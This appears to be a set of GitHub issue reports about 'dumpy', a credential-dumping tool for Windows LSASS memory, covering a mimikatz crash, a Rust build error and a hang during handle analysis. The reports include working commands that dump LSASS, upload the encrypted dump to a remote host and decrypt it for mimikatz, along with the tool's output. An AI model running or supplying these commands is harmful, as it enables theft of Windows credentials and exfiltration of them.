kudaes / dumpy Goto Github PK

Hello, i've got problem while loading it into mimikatz, because mimikatz stop working after upload decrypted lsass file. I'll explain.
Compilation passed good, I've setup secret key before building .exe set LITCRYPT_ENCRYPT_KEY="yoursupersecretkey" and then cargo build --release. Everything was fine. After I was dumping lsass on my Windows 10 (1909) host.
dumpy.exe dump -k yoursupersecretkey -u http://myipv4:8080 force
[+] SeDebugPrivilege successfully enabled.
[+] Handle to lsass leaked.
[+] Retrieved 65417 handles. Starting analysis...
\ 10000 handles have been analyzed so far...
\ 20000 handles have been analyzed so far...
\ 30000 handles have been analyzed so far...
\ 40000 handles have been analyzed so far...
\ 50000 handles have been analyzed so far...
\ 60000 handles have been analyzed so far...
[+] Valid handle to lssas found.
[+] NtOpenProcess hooked.
[!] Lsass dump created!
[+] File uploaded.
Next

c:\Users\Administrator\Documents>dumpy.exe decrypt -i WiS7B8b -o file1.txt -k yoursupersecretkey
[+] Successfully decrypted minidump file.

c:\Users\Administrator\Documents>ren file1.txt file1.dmp

and now i was trying to load it into mimikatz and get crashing program. It's just stop working. I think problem in decryption or something esle.
Can u help me with it? Any suggestions?

set LITCRYPT_ENCRYPT_KEY="yoursupersecretkey"

cargo build --target=x86_64-pc-windows-msvc

...
error: assigning to &T is undefined behavior, consider using an UnsafeCell
--> dinvoke\src\lib.rs:242:21
|
234 | let mut fun_name: *mut String = std::mem::transmute(&String::default());
| --------------------------------------- casting happend here
...
242 | *fun_name = function_name.to_string();
| ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
|
= note: for more information, visit https://doc.rust-lang.org/book/ch15-05-interior-mutability.html
= note: #[deny(invalid_reference_casting)] on by default

error: could not compile dinvoke (lib) due to 1 previous error

Sometimes dumpy is not working.
The "starting analysis..." part takes a lot longer than normal.

C:\Temp>dumpy dump
[+] SeDebugPrivilege successfully enabled.
[+] Retrieved 42708 handles. Starting analysis...

Normal it looks like this:

C:\Temp>dumpy dump
[+] SeDebugPrivilege successfully enabled.
[+] Retrieved 54767 handles. Starting analysis...
[+] NtOpenProcess hooked.
[!] Lsass dump created!
[+] Memory dump written to file epvk4mF.txt.
[+] Successfully unmapped view of file.
[+] Transaction successfully rollbacked.

Unfortunately I cannot see a debug switch to get a verbose output.